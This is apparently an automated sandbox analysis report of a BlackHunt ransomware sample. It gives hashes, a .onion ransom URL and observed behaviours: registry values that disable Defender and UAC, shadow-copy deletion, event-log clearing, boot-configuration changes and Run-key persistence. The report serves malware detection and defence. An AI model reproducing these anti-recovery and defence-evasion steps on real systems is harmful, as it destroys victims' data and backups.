Windows 7 deprecation
Windows 7 will be removed from tria.ge on 2025-03-31
Analysis
-
max time kernel
2s -
max time network
123s -
platform
windows7_x64 -
resource
win7-20231215-en -
resource tags
arch:x64arch:x86image:win7-20231215-enlocale:en-usos:windows7-x64system -
submitted
18/01/2024, 22:25
Static task
static1
Behavioral task
behavioral1
Sample
075c1d99c358b3f5a8c8ab468d7a9959bb24d9311b5aad07983f3d8ea9e21382.exe
Resource
win7-20231215-en
Behavioral task
behavioral2
Sample
075c1d99c358b3f5a8c8ab468d7a9959bb24d9311b5aad07983f3d8ea9e21382.exe
Resource
win10v2004-20231215-en
General
-
Target
075c1d99c358b3f5a8c8ab468d7a9959bb24d9311b5aad07983f3d8ea9e21382.exe
-
Size
707KB
-
MD5
f59f5b6614c4ad584bea12ec855418ff
-
SHA1
8c7f51c7eceb6b40b7bc430b2e0450ba63d60c89
-
SHA256
075c1d99c358b3f5a8c8ab468d7a9959bb24d9311b5aad07983f3d8ea9e21382
-
SHA512
b252eeaab902b5d3e372b767959b74d375e7ab2fd445b16b9f9e7d4469ddfeec1410593b81e648b9b2a9dfd0fd506b70125d8780c4975ca783c73ec80136c37d
-
SSDEEP
6144:wcmwdMZ0aq9arLKkdMqJ+VYg/5ICAAQs+d5zSTamgEoOFzxLza1+8Svnh:6uaTmkZJ+naie5OTamgEoKxLW98h
Malware Config
Extracted
C:\ProgramData\#BlackHunt_ReadMe.hta
http-equiv="x-ua-compatible"
http://sdjf982lkjsdvcjlksaf2kjhlksvvnktyoiasuc92lf.onion
Signatures
-
Deletes NTFS Change Journal 2 TTPs 2 IoCs
The USN change journal is a persistent log of all changes made to local files used by Windows Server systems.
pid Process 1596 fsutil.exe 3088 fsutil.exe -
description ioc Process Key created \REGISTRY\MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection reg.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableRealtimeMonitoring = "1" reg.exe -
description ioc Process Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0" 075c1d99c358b3f5a8c8ab468d7a9959bb24d9311b5aad07983f3d8ea9e21382.exe -
Clears Windows event logs 1 TTPs 5 IoCs
pid Process 3464 wevtutil.exe 1204 wevtutil.exe 1964 wevtutil.exe 2640 wevtutil.exe 2908 wevtutil.exe -
Deletes shadow copies 2 TTPs
Ransomware often targets backup files to inhibit system recovery.
-
Modifies boot configuration data using bcdedit 1 TTPs 4 IoCs
pid Process 1500 bcdedit.exe 1576 bcdedit.exe 2828 bcdedit.exe 2132 bcdedit.exe -
Renames multiple (106) files with added filename extension
This suggests ransomware activity of encrypting all the files on the system.
-
pid Process 1752 wbadmin.exe 3448 wbadmin.exe -
Disables Task Manager via registry modification
-
Disables use of System Restore points 1 TTPs
-
Adds Run key to start application 2 TTPs 1 IoCs
description ioc Process Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\{2C5F9FCC-F266-43F6-BFD7-838DAE269E11} = "C:\\ProgramData\\#BlackHunt_ReadMe.hta" reg.exe -
description ioc Process Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0" 075c1d99c358b3f5a8c8ab468d7a9959bb24d9311b5aad07983f3d8ea9e21382.exe -
Enumerates connected drives 3 TTPs 25 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
description ioc Process File opened (read-only) \??\U: 075c1d99c358b3f5a8c8ab468d7a9959bb24d9311b5aad07983f3d8ea9e21382.exe File opened (read-only) \??\G: 075c1d99c358b3f5a8c8ab468d7a9959bb24d9311b5aad07983f3d8ea9e21382.exe File opened (read-only) \??\V: 075c1d99c358b3f5a8c8ab468d7a9959bb24d9311b5aad07983f3d8ea9e21382.exe File opened (read-only) \??\S: 075c1d99c358b3f5a8c8ab468d7a9959bb24d9311b5aad07983f3d8ea9e21382.exe File opened (read-only) \??\H: 075c1d99c358b3f5a8c8ab468d7a9959bb24d9311b5aad07983f3d8ea9e21382.exe File opened (read-only) \??\N: 075c1d99c358b3f5a8c8ab468d7a9959bb24d9311b5aad07983f3d8ea9e21382.exe File opened (read-only) \??\R: 075c1d99c358b3f5a8c8ab468d7a9959bb24d9311b5aad07983f3d8ea9e21382.exe File opened (read-only) \??\W: 075c1d99c358b3f5a8c8ab468d7a9959bb24d9311b5aad07983f3d8ea9e21382.exe File opened (read-only) \??\O: 075c1d99c358b3f5a8c8ab468d7a9959bb24d9311b5aad07983f3d8ea9e21382.exe File opened (read-only) \??\F: vssadmin.exe File opened (read-only) \??\Q: 075c1d99c358b3f5a8c8ab468d7a9959bb24d9311b5aad07983f3d8ea9e21382.exe File opened (read-only) \??\Y: 075c1d99c358b3f5a8c8ab468d7a9959bb24d9311b5aad07983f3d8ea9e21382.exe File opened (read-only) \??\I: 075c1d99c358b3f5a8c8ab468d7a9959bb24d9311b5aad07983f3d8ea9e21382.exe File opened (read-only) \??\E: 075c1d99c358b3f5a8c8ab468d7a9959bb24d9311b5aad07983f3d8ea9e21382.exe File opened (read-only) \??\A: 075c1d99c358b3f5a8c8ab468d7a9959bb24d9311b5aad07983f3d8ea9e21382.exe File opened (read-only) \??\Z: 075c1d99c358b3f5a8c8ab468d7a9959bb24d9311b5aad07983f3d8ea9e21382.exe File opened (read-only) \??\B: 075c1d99c358b3f5a8c8ab468d7a9959bb24d9311b5aad07983f3d8ea9e21382.exe File opened (read-only) \??\M: 075c1d99c358b3f5a8c8ab468d7a9959bb24d9311b5aad07983f3d8ea9e21382.exe File opened (read-only) \??\P: 075c1d99c358b3f5a8c8ab468d7a9959bb24d9311b5aad07983f3d8ea9e21382.exe File opened (read-only) \??\J: 075c1d99c358b3f5a8c8ab468d7a9959bb24d9311b5aad07983f3d8ea9e21382.exe File opened (read-only) \??\F: vssadmin.exe File opened (read-only) \??\T: 075c1d99c358b3f5a8c8ab468d7a9959bb24d9311b5aad07983f3d8ea9e21382.exe File opened (read-only) \??\K: 075c1d99c358b3f5a8c8ab468d7a9959bb24d9311b5aad07983f3d8ea9e21382.exe File opened (read-only) \??\L: 075c1d99c358b3f5a8c8ab468d7a9959bb24d9311b5aad07983f3d8ea9e21382.exe File opened (read-only) \??\X: 075c1d99c358b3f5a8c8ab468d7a9959bb24d9311b5aad07983f3d8ea9e21382.exe -
Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
flow ioc 2 ip-api.com -
Drops file in Program Files directory 64 IoCs
description ioc Process File opened for modification C:\Program Files\DVD Maker\Shared\DvdStyles\BabyBoy\BabyBoyNotesBackground.wmv 075c1d99c358b3f5a8c8ab468d7a9959bb24d9311b5aad07983f3d8ea9e21382.exe File opened for modification C:\Program Files\DVD Maker\Shared\DvdStyles\BabyGirl\flower_trans_rgb.wmv 075c1d99c358b3f5a8c8ab468d7a9959bb24d9311b5aad07983f3d8ea9e21382.exe File opened for modification C:\Program Files\DVD Maker\Shared\DvdStyles\HueCycle\NavigationUp_SelectionSubpicture.png 075c1d99c358b3f5a8c8ab468d7a9959bb24d9311b5aad07983f3d8ea9e21382.exe File created C:\Program Files\DVD Maker\Shared\DvdStyles\Shatter\#BlackHunt_ReadMe.txt 075c1d99c358b3f5a8c8ab468d7a9959bb24d9311b5aad07983f3d8ea9e21382.exe File opened for modification C:\Program Files\7-Zip\Lang\uz-cyrl.txt 075c1d99c358b3f5a8c8ab468d7a9959bb24d9311b5aad07983f3d8ea9e21382.exe File created C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\America\#BlackHunt_ReadMe.txt 075c1d99c358b3f5a8c8ab468d7a9959bb24d9311b5aad07983f3d8ea9e21382.exe File opened for modification C:\Program Files\DVD Maker\Shared\DvdStyles\BabyGirl\bear_formatted_matte2.wmv 075c1d99c358b3f5a8c8ab468d7a9959bb24d9311b5aad07983f3d8ea9e21382.exe File created C:\Program Files\DVD Maker\Shared\DvdStyles\Vignette\#BlackHunt_Private.key 075c1d99c358b3f5a8c8ab468d7a9959bb24d9311b5aad07983f3d8ea9e21382.exe File opened for modification C:\Program Files\7-Zip\Lang\ug.txt 075c1d99c358b3f5a8c8ab468d7a9959bb24d9311b5aad07983f3d8ea9e21382.exe File opened for modification C:\Program Files\DVD Maker\Shared\DvdStyles\BabyBoy\BabyBoyNotesBackground_PAL.wmv 075c1d99c358b3f5a8c8ab468d7a9959bb24d9311b5aad07983f3d8ea9e21382.exe File created C:\Program Files\Java\jdk1.7.0_80\jre\lib\management\#BlackHunt_Private.key 075c1d99c358b3f5a8c8ab468d7a9959bb24d9311b5aad07983f3d8ea9e21382.exe File created C:\Program Files\DVD Maker\#BlackHunt_Private.key 075c1d99c358b3f5a8c8ab468d7a9959bb24d9311b5aad07983f3d8ea9e21382.exe File created C:\Program Files\Java\jdk1.7.0_80\db\#BlackHunt_Private.key 075c1d99c358b3f5a8c8ab468d7a9959bb24d9311b5aad07983f3d8ea9e21382.exe File created C:\Program Files\Java\jdk1.7.0_80\jre\bin\#BlackHunt_ReadMe.hta 075c1d99c358b3f5a8c8ab468d7a9959bb24d9311b5aad07983f3d8ea9e21382.exe File opened for modification C:\Program Files\7-Zip\Lang\co.txt 075c1d99c358b3f5a8c8ab468d7a9959bb24d9311b5aad07983f3d8ea9e21382.exe File opened for modification C:\Program Files\DVD Maker\Shared\DvdStyles\Full\pushplaysubpicture.png 075c1d99c358b3f5a8c8ab468d7a9959bb24d9311b5aad07983f3d8ea9e21382.exe File opened for modification C:\Program Files\DVD Maker\Shared\DvdStyles\BabyBoy\nav_rightarrow.png 075c1d99c358b3f5a8c8ab468d7a9959bb24d9311b5aad07983f3d8ea9e21382.exe File created C:\Program Files\DVD Maker\fr-FR\#BlackHunt_ReadMe.hta 075c1d99c358b3f5a8c8ab468d7a9959bb24d9311b5aad07983f3d8ea9e21382.exe File created C:\Program Files\Java\jdk1.7.0_80\include\win32\bridge\#BlackHunt_Private.key 075c1d99c358b3f5a8c8ab468d7a9959bb24d9311b5aad07983f3d8ea9e21382.exe File created C:\Program Files\Java\jdk1.7.0_80\jre\lib\images\#BlackHunt_Private.key 075c1d99c358b3f5a8c8ab468d7a9959bb24d9311b5aad07983f3d8ea9e21382.exe File created C:\Program Files\DVD Maker\Shared\DvdStyles\BabyBoy\#BlackHunt_Private.key 075c1d99c358b3f5a8c8ab468d7a9959bb24d9311b5aad07983f3d8ea9e21382.exe File opened for modification C:\Program Files\7-Zip\7-zip.chm 075c1d99c358b3f5a8c8ab468d7a9959bb24d9311b5aad07983f3d8ea9e21382.exe File opened for modification C:\Program Files\DVD Maker\Shared\DvdStyles\BabyGirl\chapters-static.png 075c1d99c358b3f5a8c8ab468d7a9959bb24d9311b5aad07983f3d8ea9e21382.exe File opened for modification C:\Program Files\7-Zip\7zCon.sfx 075c1d99c358b3f5a8c8ab468d7a9959bb24d9311b5aad07983f3d8ea9e21382.exe File created C:\Program Files\Java\jdk1.7.0_80\include\#BlackHunt_Private.key 075c1d99c358b3f5a8c8ab468d7a9959bb24d9311b5aad07983f3d8ea9e21382.exe File created C:\Program Files\Java\jdk1.7.0_80\jre\lib\images\cursors\#BlackHunt_ReadMe.txt 075c1d99c358b3f5a8c8ab468d7a9959bb24d9311b5aad07983f3d8ea9e21382.exe File opened for modification C:\Program Files\DVD Maker\Shared\DvdStyles\LayeredTitles\NavigationRight_SelectionSubpicture.png 075c1d99c358b3f5a8c8ab468d7a9959bb24d9311b5aad07983f3d8ea9e21382.exe File created C:\Program Files\Java\jdk1.7.0_80\#BlackHunt_Private.key 075c1d99c358b3f5a8c8ab468d7a9959bb24d9311b5aad07983f3d8ea9e21382.exe File created C:\Program Files\Java\jdk1.7.0_80\jre\lib\ext\#BlackHunt_Private.key 075c1d99c358b3f5a8c8ab468d7a9959bb24d9311b5aad07983f3d8ea9e21382.exe File opened for modification C:\Program Files\DVD Maker\Shared\DvdStyles\BabyGirl\curtains.png 075c1d99c358b3f5a8c8ab468d7a9959bb24d9311b5aad07983f3d8ea9e21382.exe File opened for modification C:\Program Files\7-Zip\7z.sfx 075c1d99c358b3f5a8c8ab468d7a9959bb24d9311b5aad07983f3d8ea9e21382.exe File created C:\Program Files\Java\jdk1.7.0_80\jre\#BlackHunt_ReadMe.hta 075c1d99c358b3f5a8c8ab468d7a9959bb24d9311b5aad07983f3d8ea9e21382.exe File created C:\Program Files\Java\jdk1.7.0_80\jre\lib\jfr\#BlackHunt_Private.key 075c1d99c358b3f5a8c8ab468d7a9959bb24d9311b5aad07983f3d8ea9e21382.exe File created C:\Program Files\Java\jdk1.7.0_80\jre\lib\images\#BlackHunt_ReadMe.hta 075c1d99c358b3f5a8c8ab468d7a9959bb24d9311b5aad07983f3d8ea9e21382.exe File opened for modification C:\Program Files\DVD Maker\SecretST.TTF 075c1d99c358b3f5a8c8ab468d7a9959bb24d9311b5aad07983f3d8ea9e21382.exe File opened for modification C:\Program Files\DVD Maker\Shared\DvdStyles\4to3Squareframe_Buttongraphic.png 075c1d99c358b3f5a8c8ab468d7a9959bb24d9311b5aad07983f3d8ea9e21382.exe File created C:\Program Files\DVD Maker\Shared\DvdStyles\Stacking\#BlackHunt_Private.key 075c1d99c358b3f5a8c8ab468d7a9959bb24d9311b5aad07983f3d8ea9e21382.exe File opened for modification C:\Program Files\DVD Maker\Shared\DvdStyles\BabyBoy\BabyBoyMainToNotesBackground.wmv 075c1d99c358b3f5a8c8ab468d7a9959bb24d9311b5aad07983f3d8ea9e21382.exe File created C:\Program Files\DVD Maker\en-US\#BlackHunt_Private.key 075c1d99c358b3f5a8c8ab468d7a9959bb24d9311b5aad07983f3d8ea9e21382.exe File created C:\Program Files\DVD Maker\Shared\DvdStyles\LayeredTitles\#BlackHunt_Private.key 075c1d99c358b3f5a8c8ab468d7a9959bb24d9311b5aad07983f3d8ea9e21382.exe File created C:\Program Files\DVD Maker\Shared\DvdStyles\Memories\#BlackHunt_ReadMe.hta 075c1d99c358b3f5a8c8ab468d7a9959bb24d9311b5aad07983f3d8ea9e21382.exe File opened for modification C:\Program Files\7-Zip\Lang\es.txt 075c1d99c358b3f5a8c8ab468d7a9959bb24d9311b5aad07983f3d8ea9e21382.exe File opened for modification C:\Program Files\DVD Maker\Shared\DvdStyles\Full\NavigationLeft_ButtonGraphic.png 075c1d99c358b3f5a8c8ab468d7a9959bb24d9311b5aad07983f3d8ea9e21382.exe File created C:\Program Files\Java\jdk1.7.0_80\jre\bin\#BlackHunt_ReadMe.txt 075c1d99c358b3f5a8c8ab468d7a9959bb24d9311b5aad07983f3d8ea9e21382.exe File opened for modification C:\Program Files\7-Zip\Lang\fur.txt 075c1d99c358b3f5a8c8ab468d7a9959bb24d9311b5aad07983f3d8ea9e21382.exe File created C:\Program Files\DVD Maker\Shared\DvdStyles\BabyGirl\#BlackHunt_ReadMe.hta 075c1d99c358b3f5a8c8ab468d7a9959bb24d9311b5aad07983f3d8ea9e21382.exe File opened for modification C:\Program Files\DVD Maker\Shared\DvdStyles\BabyBoy\LightBlueRectangle.PNG 075c1d99c358b3f5a8c8ab468d7a9959bb24d9311b5aad07983f3d8ea9e21382.exe File opened for modification C:\Program Files\DVD Maker\Shared\DvdStyles\FlipPage\1047x576black.png 075c1d99c358b3f5a8c8ab468d7a9959bb24d9311b5aad07983f3d8ea9e21382.exe File opened for modification C:\Program Files\7-Zip\Lang\en.ttt 075c1d99c358b3f5a8c8ab468d7a9959bb24d9311b5aad07983f3d8ea9e21382.exe File opened for modification C:\Program Files\7-Zip\Lang\lv.txt 075c1d99c358b3f5a8c8ab468d7a9959bb24d9311b5aad07983f3d8ea9e21382.exe File opened for modification C:\Program Files\DVD Maker\Shared\DvdStyles\BabyGirl\Bear_Formatted_RGB6_PAL.wmv 075c1d99c358b3f5a8c8ab468d7a9959bb24d9311b5aad07983f3d8ea9e21382.exe File opened for modification C:\Program Files\7-Zip\License.txt 075c1d99c358b3f5a8c8ab468d7a9959bb24d9311b5aad07983f3d8ea9e21382.exe File opened for modification C:\Program Files\DVD Maker\Shared\DvdStyles\HueCycle\NavigationRight_SelectionSubpicture.png 075c1d99c358b3f5a8c8ab468d7a9959bb24d9311b5aad07983f3d8ea9e21382.exe File created C:\Program Files\Java\jdk1.7.0_80\jre\bin\#BlackHunt_Private.key 075c1d99c358b3f5a8c8ab468d7a9959bb24d9311b5aad07983f3d8ea9e21382.exe File created C:\Program Files\Java\jdk1.7.0_80\jre\lib\#BlackHunt_ReadMe.hta 075c1d99c358b3f5a8c8ab468d7a9959bb24d9311b5aad07983f3d8ea9e21382.exe File created C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\America\Argentina\#BlackHunt_Private.key 075c1d99c358b3f5a8c8ab468d7a9959bb24d9311b5aad07983f3d8ea9e21382.exe File created C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Africa\#BlackHunt_ReadMe.hta 075c1d99c358b3f5a8c8ab468d7a9959bb24d9311b5aad07983f3d8ea9e21382.exe File opened for modification C:\Program Files\DVD Maker\Shared\DvdStyles\HueCycle\NavigationLeft_SelectionSubpicture.png 075c1d99c358b3f5a8c8ab468d7a9959bb24d9311b5aad07983f3d8ea9e21382.exe File created C:\Program Files\DVD Maker\Shared\DvdStyles\Sports\#BlackHunt_ReadMe.txt 075c1d99c358b3f5a8c8ab468d7a9959bb24d9311b5aad07983f3d8ea9e21382.exe File opened for modification C:\Program Files\7-Zip\Lang\io.txt 075c1d99c358b3f5a8c8ab468d7a9959bb24d9311b5aad07983f3d8ea9e21382.exe File opened for modification C:\Program Files\DismountConfirm.vdw 075c1d99c358b3f5a8c8ab468d7a9959bb24d9311b5aad07983f3d8ea9e21382.exe File created C:\Program Files\Java\jdk1.7.0_80\jre\bin\dtplugin\#BlackHunt_ReadMe.txt 075c1d99c358b3f5a8c8ab468d7a9959bb24d9311b5aad07983f3d8ea9e21382.exe File created C:\Program Files\DVD Maker\Shared\DvdStyles\Push\#BlackHunt_ReadMe.txt 075c1d99c358b3f5a8c8ab468d7a9959bb24d9311b5aad07983f3d8ea9e21382.exe File created C:\Program Files\DVD Maker\Shared\DvdStyles\ResizingPanels\#BlackHunt_ReadMe.hta 075c1d99c358b3f5a8c8ab468d7a9959bb24d9311b5aad07983f3d8ea9e21382.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
Creates scheduled task(s) 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 1160 schtasks.exe -
Interacts with shadow copies 2 TTPs 6 IoCs
Shadow copies are often targeted by ransomware to inhibit system recovery.
pid Process 2984 vssadmin.exe 2148 vssadmin.exe 1544 vssadmin.exe 996 vssadmin.exe 652 vssadmin.exe 1228 vssadmin.exe -
Kills process with taskkill 1 IoCs
pid Process 2252 taskkill.exe -
Modifies registry class 10 IoCs
description ioc Process Key created \REGISTRY\MACHINE\Software\Classes\.Hunt2 reg.exe Key created \REGISTRY\MACHINE\Software\Classes\.Hunt2\DefaultIcon reg.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2 reg.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2\DefaultIcon\ = "C:\\ProgramData\\#BlackHunt_Icon.ico" reg.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2\ reg.exe Key created \REGISTRY\MACHINE\Software\Classes\Hunt2\DefaultIcon reg.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2\DefaultIcon\ = "C:\\ProgramData\\#BlackHunt_Icon.ico" reg.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2\DefaultIcon reg.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2\ reg.exe Key created \REGISTRY\MACHINE\Software\Classes\Hunt2 reg.exe -
Runs ping.exe 1 TTPs 1 IoCs
pid Process 2964 PING.EXE -
Suspicious use of AdjustPrivilegeToken 10 IoCs
description pid Process Token: SeDebugPrivilege 2896 075c1d99c358b3f5a8c8ab468d7a9959bb24d9311b5aad07983f3d8ea9e21382.exe Token: SeRestorePrivilege 2896 075c1d99c358b3f5a8c8ab468d7a9959bb24d9311b5aad07983f3d8ea9e21382.exe Token: SeBackupPrivilege 2896 075c1d99c358b3f5a8c8ab468d7a9959bb24d9311b5aad07983f3d8ea9e21382.exe Token: SeTakeOwnershipPrivilege 2896 075c1d99c358b3f5a8c8ab468d7a9959bb24d9311b5aad07983f3d8ea9e21382.exe Token: SeAuditPrivilege 2896 075c1d99c358b3f5a8c8ab468d7a9959bb24d9311b5aad07983f3d8ea9e21382.exe Token: SeSecurityPrivilege 2896 075c1d99c358b3f5a8c8ab468d7a9959bb24d9311b5aad07983f3d8ea9e21382.exe Token: SeIncBasePriorityPrivilege 2896 075c1d99c358b3f5a8c8ab468d7a9959bb24d9311b5aad07983f3d8ea9e21382.exe Token: SeBackupPrivilege 1748 vssvc.exe Token: SeRestorePrivilege 1748 vssvc.exe Token: SeAuditPrivilege 1748 vssvc.exe -
Suspicious use of WriteProcessMemory 64 IoCs
description pid Process procid_target PID 2896 wrote to memory of 2776 2896 075c1d99c358b3f5a8c8ab468d7a9959bb24d9311b5aad07983f3d8ea9e21382.exe 154 PID 2896 wrote to memory of 2776 2896 075c1d99c358b3f5a8c8ab468d7a9959bb24d9311b5aad07983f3d8ea9e21382.exe 154 PID 2896 wrote to memory of 2776 2896 075c1d99c358b3f5a8c8ab468d7a9959bb24d9311b5aad07983f3d8ea9e21382.exe 154 PID 2896 wrote to memory of 2776 2896 075c1d99c358b3f5a8c8ab468d7a9959bb24d9311b5aad07983f3d8ea9e21382.exe 154 PID 2896 wrote to memory of 2808 2896 075c1d99c358b3f5a8c8ab468d7a9959bb24d9311b5aad07983f3d8ea9e21382.exe 152 PID 2896 wrote to memory of 2808 2896 075c1d99c358b3f5a8c8ab468d7a9959bb24d9311b5aad07983f3d8ea9e21382.exe 152 PID 2896 wrote to memory of 2808 2896 075c1d99c358b3f5a8c8ab468d7a9959bb24d9311b5aad07983f3d8ea9e21382.exe 152 PID 2896 wrote to memory of 2808 2896 075c1d99c358b3f5a8c8ab468d7a9959bb24d9311b5aad07983f3d8ea9e21382.exe 152 PID 2776 wrote to memory of 2728 2776 cmd.exe 32 PID 2776 wrote to memory of 2728 2776 cmd.exe 32 PID 2776 wrote to memory of 2728 2776 cmd.exe 32 PID 2896 wrote to memory of 2912 2896 075c1d99c358b3f5a8c8ab468d7a9959bb24d9311b5aad07983f3d8ea9e21382.exe 31 PID 2896 wrote to memory of 2912 2896 075c1d99c358b3f5a8c8ab468d7a9959bb24d9311b5aad07983f3d8ea9e21382.exe 31 PID 2896 wrote to memory of 2912 2896 075c1d99c358b3f5a8c8ab468d7a9959bb24d9311b5aad07983f3d8ea9e21382.exe 31 PID 2896 wrote to memory of 2912 2896 075c1d99c358b3f5a8c8ab468d7a9959bb24d9311b5aad07983f3d8ea9e21382.exe 31 PID 2808 wrote to memory of 2384 2808 cmd.exe 29 PID 2808 wrote to memory of 2384 2808 cmd.exe 29 PID 2808 wrote to memory of 2384 2808 cmd.exe 29 PID 2896 wrote to memory of 2812 2896 075c1d99c358b3f5a8c8ab468d7a9959bb24d9311b5aad07983f3d8ea9e21382.exe 169 PID 2896 wrote to memory of 2812 2896 075c1d99c358b3f5a8c8ab468d7a9959bb24d9311b5aad07983f3d8ea9e21382.exe 169 PID 2896 wrote to memory of 2812 2896 075c1d99c358b3f5a8c8ab468d7a9959bb24d9311b5aad07983f3d8ea9e21382.exe 169 PID 2896 wrote to memory of 2812 2896 075c1d99c358b3f5a8c8ab468d7a9959bb24d9311b5aad07983f3d8ea9e21382.exe 169 PID 2896 wrote to memory of 2692 2896 075c1d99c358b3f5a8c8ab468d7a9959bb24d9311b5aad07983f3d8ea9e21382.exe 150 PID 2896 wrote to memory of 2692 2896 075c1d99c358b3f5a8c8ab468d7a9959bb24d9311b5aad07983f3d8ea9e21382.exe 150 PID 2896 wrote to memory of 2692 2896 075c1d99c358b3f5a8c8ab468d7a9959bb24d9311b5aad07983f3d8ea9e21382.exe 150 PID 2896 wrote to memory of 2692 2896 075c1d99c358b3f5a8c8ab468d7a9959bb24d9311b5aad07983f3d8ea9e21382.exe 150 PID 2896 wrote to memory of 2772 2896 075c1d99c358b3f5a8c8ab468d7a9959bb24d9311b5aad07983f3d8ea9e21382.exe 225 PID 2896 wrote to memory of 2772 2896 075c1d99c358b3f5a8c8ab468d7a9959bb24d9311b5aad07983f3d8ea9e21382.exe 225 PID 2896 wrote to memory of 2772 2896 075c1d99c358b3f5a8c8ab468d7a9959bb24d9311b5aad07983f3d8ea9e21382.exe 225 PID 2896 wrote to memory of 2772 2896 075c1d99c358b3f5a8c8ab468d7a9959bb24d9311b5aad07983f3d8ea9e21382.exe 225 PID 2896 wrote to memory of 2712 2896 075c1d99c358b3f5a8c8ab468d7a9959bb24d9311b5aad07983f3d8ea9e21382.exe 34 PID 2896 wrote to memory of 2712 2896 075c1d99c358b3f5a8c8ab468d7a9959bb24d9311b5aad07983f3d8ea9e21382.exe 34 PID 2896 wrote to memory of 2712 2896 075c1d99c358b3f5a8c8ab468d7a9959bb24d9311b5aad07983f3d8ea9e21382.exe 34 PID 2896 wrote to memory of 2712 2896 075c1d99c358b3f5a8c8ab468d7a9959bb24d9311b5aad07983f3d8ea9e21382.exe 34 PID 2912 wrote to memory of 2624 2912 cmd.exe 146 PID 2912 wrote to memory of 2624 2912 cmd.exe 146 PID 2912 wrote to memory of 2624 2912 cmd.exe 146 PID 2896 wrote to memory of 2688 2896 075c1d99c358b3f5a8c8ab468d7a9959bb24d9311b5aad07983f3d8ea9e21382.exe 36 PID 2896 wrote to memory of 2688 2896 075c1d99c358b3f5a8c8ab468d7a9959bb24d9311b5aad07983f3d8ea9e21382.exe 36 PID 2896 wrote to memory of 2688 2896 075c1d99c358b3f5a8c8ab468d7a9959bb24d9311b5aad07983f3d8ea9e21382.exe 36 PID 2896 wrote to memory of 2688 2896 075c1d99c358b3f5a8c8ab468d7a9959bb24d9311b5aad07983f3d8ea9e21382.exe 36 PID 2896 wrote to memory of 2576 2896 075c1d99c358b3f5a8c8ab468d7a9959bb24d9311b5aad07983f3d8ea9e21382.exe 144 PID 2896 wrote to memory of 2576 2896 075c1d99c358b3f5a8c8ab468d7a9959bb24d9311b5aad07983f3d8ea9e21382.exe 144 PID 2896 wrote to memory of 2576 2896 075c1d99c358b3f5a8c8ab468d7a9959bb24d9311b5aad07983f3d8ea9e21382.exe 144 PID 2896 wrote to memory of 2576 2896 075c1d99c358b3f5a8c8ab468d7a9959bb24d9311b5aad07983f3d8ea9e21382.exe 144 PID 2896 wrote to memory of 2640 2896 075c1d99c358b3f5a8c8ab468d7a9959bb24d9311b5aad07983f3d8ea9e21382.exe 189 PID 2896 wrote to memory of 2640 2896 075c1d99c358b3f5a8c8ab468d7a9959bb24d9311b5aad07983f3d8ea9e21382.exe 189 PID 2896 wrote to memory of 2640 2896 075c1d99c358b3f5a8c8ab468d7a9959bb24d9311b5aad07983f3d8ea9e21382.exe 189 PID 2896 wrote to memory of 2640 2896 075c1d99c358b3f5a8c8ab468d7a9959bb24d9311b5aad07983f3d8ea9e21382.exe 189 PID 2812 wrote to memory of 2648 2812 conhost.exe 142 PID 2812 wrote to memory of 2648 2812 conhost.exe 142 PID 2812 wrote to memory of 2648 2812 conhost.exe 142 PID 2896 wrote to memory of 2696 2896 075c1d99c358b3f5a8c8ab468d7a9959bb24d9311b5aad07983f3d8ea9e21382.exe 141 PID 2896 wrote to memory of 2696 2896 075c1d99c358b3f5a8c8ab468d7a9959bb24d9311b5aad07983f3d8ea9e21382.exe 141 PID 2896 wrote to memory of 2696 2896 075c1d99c358b3f5a8c8ab468d7a9959bb24d9311b5aad07983f3d8ea9e21382.exe 141 PID 2896 wrote to memory of 2696 2896 075c1d99c358b3f5a8c8ab468d7a9959bb24d9311b5aad07983f3d8ea9e21382.exe 141 PID 2896 wrote to memory of 2496 2896 075c1d99c358b3f5a8c8ab468d7a9959bb24d9311b5aad07983f3d8ea9e21382.exe 140 PID 2896 wrote to memory of 2496 2896 075c1d99c358b3f5a8c8ab468d7a9959bb24d9311b5aad07983f3d8ea9e21382.exe 140 PID 2896 wrote to memory of 2496 2896 075c1d99c358b3f5a8c8ab468d7a9959bb24d9311b5aad07983f3d8ea9e21382.exe 140 PID 2896 wrote to memory of 2496 2896 075c1d99c358b3f5a8c8ab468d7a9959bb24d9311b5aad07983f3d8ea9e21382.exe 140 PID 2692 wrote to memory of 2992 2692 cmd.exe 138 PID 2692 wrote to memory of 2992 2692 cmd.exe 138 PID 2692 wrote to memory of 2992 2692 cmd.exe 138 PID 2896 wrote to memory of 2108 2896 075c1d99c358b3f5a8c8ab468d7a9959bb24d9311b5aad07983f3d8ea9e21382.exe 38 -
System policy modification 1 TTPs 3 IoCs
description ioc Process Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System 075c1d99c358b3f5a8c8ab468d7a9959bb24d9311b5aad07983f3d8ea9e21382.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0" 075c1d99c358b3f5a8c8ab468d7a9959bb24d9311b5aad07983f3d8ea9e21382.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLinkedConnections = "1" 075c1d99c358b3f5a8c8ab468d7a9959bb24d9311b5aad07983f3d8ea9e21382.exe -
Uses Task Scheduler COM API 1 TTPs
